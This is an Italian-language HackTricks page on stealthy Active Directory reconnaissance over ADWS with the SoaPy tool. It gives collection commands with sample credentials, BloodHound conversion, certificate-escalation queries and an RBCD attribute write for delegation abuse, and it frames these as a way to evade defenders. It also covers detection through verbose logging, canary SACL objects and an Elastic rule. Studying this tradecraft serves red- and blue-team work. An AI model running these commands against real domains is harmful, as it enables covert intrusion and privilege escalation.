Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Che cos'è ADWS?
Active Directory Web Services (ADWS) è abilitato per impostazione predefinita su ogni Domain Controller da Windows Server 2008 R2 e ascolta su TCP 9389. Nonostante il nome, non è coinvolto alcun HTTP. Invece, il servizio espone dati in stile LDAP attraverso un insieme di protocolli di incapsulamento proprietari .NET:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Poiché il traffico è incapsulato all'interno di questi frame SOAP binari e viaggia su una porta poco comune, l'enumerazione tramite ADWS è molto meno probabile che venga ispezionata, filtrata o firmata rispetto al traffico LDAP classico/389 & 636. Per gli operatori questo significa:
- Ricognizione più furtiva – I team Blue spesso si concentrano sulle query LDAP.
- Libertà di raccogliere da host non Windows (Linux, macOS) tunnelando 9389/TCP attraverso un proxy SOCKS.
- Gli stessi dati che otterresti tramite LDAP (utenti, gruppi, ACL, schema, ecc.) e la possibilità di eseguire scritture (ad es.
msDs-AllowedToActOnBehalfOfOtherIdentity
per RBCD).
NOTA: ADWS è utilizzato anche da molti strumenti GUI/PowerShell RSAT, quindi il traffico può mescolarsi con l'attività amministrativa legittima.
SoaPy – Client Python Nativo
SoaPy è una re-implementazione completa dello stack di protocolli ADWS in puro Python. Crea i frame NBFX/NBFSE/NNS/NMF byte per byte, consentendo la raccolta da sistemi simili a Unix senza toccare il runtime .NET.
Caratteristiche Principali
- Supporta il proxy attraverso SOCKS (utile da impianti C2).
- Filtri di ricerca a grana fine identici a LDAP
-q '(objectClass=user)'
. - Operazioni di scrittura opzionali (
--set
/--delete
). - Modalità di output BOFHound per l'ingestione diretta in BloodHound.
- Flag
--parse
per rendere più leggibili i timestamp /userAccountControl
quando è necessaria la leggibilità umana.
Installazione (host operatore)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
Il seguente flusso di lavoro mostra come enumerare oggetti di dominio e ADCS tramite ADWS, convertirli in JSON di BloodHound e cercare percorsi di attacco basati su certificati – tutto da Linux:
-
Tunnel 9389/TCP dalla rete target al tuo box (ad esempio tramite Chisel, Meterpreter, SSH dynamic port-forward, ecc.). Esporta
export HTTPS_PROXY=socks5://127.0.0.1:1080
o usa--proxyHost/--proxyPort
di SoaPy. -
Raccogli l'oggetto del dominio radice:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Raccogliere oggetti correlati a ADCS dalla Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Converti in BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Carica il ZIP nell'interfaccia grafica di BloodHound ed esegui query cypher come
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
per rivelare i percorsi di escalation dei certificati (ESC1, ESC8, ecc.).
Scrittura di msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Combina questo con s4u2proxy
/Rubeus /getticket
per una completa Delegazione Constrainata Basata su Risorse.
Rilevamento e Indurimento
Registrazione Verbose di ADDS
Abilita le seguenti chiavi di registro sui Controller di Dominio per evidenziare ricerche costose / inefficienti provenienti da ADWS (e LDAP):
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
Gli eventi appariranno sotto Directory-Service con il filtro LDAP completo, anche quando la query è arrivata tramite ADWS.
Oggetti SACL Canary
- Crea un oggetto fittizio (ad es. utente disabilitato
CanaryUser
). - Aggiungi un Audit ACE per il principale Everyone, auditato su ReadProperty.
- Ogni volta che un attaccante esegue
(servicePrincipalName=*)
,(objectClass=user)
ecc., il DC emette Event 4662 che contiene il vero SID dell'utente – anche quando la richiesta è proxy o proviene da ADWS.
Esempio di regola predefinita di Elastic:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Riepilogo degli Strumenti
Scopo | Strumento | Note |
---|---|---|
Enumerazione ADWS | SoaPy | Python, SOCKS, lettura/scrittura |
Ingestione BloodHound | BOFHound | Converte i log di SoaPy/ldapsearch |
Compromissione Cert | Certipy | Può essere proxy attraverso lo stesso SOCKS |
Riferimenti
- SpecterOps – Assicurati di usare SOAP(y) – Una guida per operatori alla raccolta stealth di AD usando ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – Specifiche MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.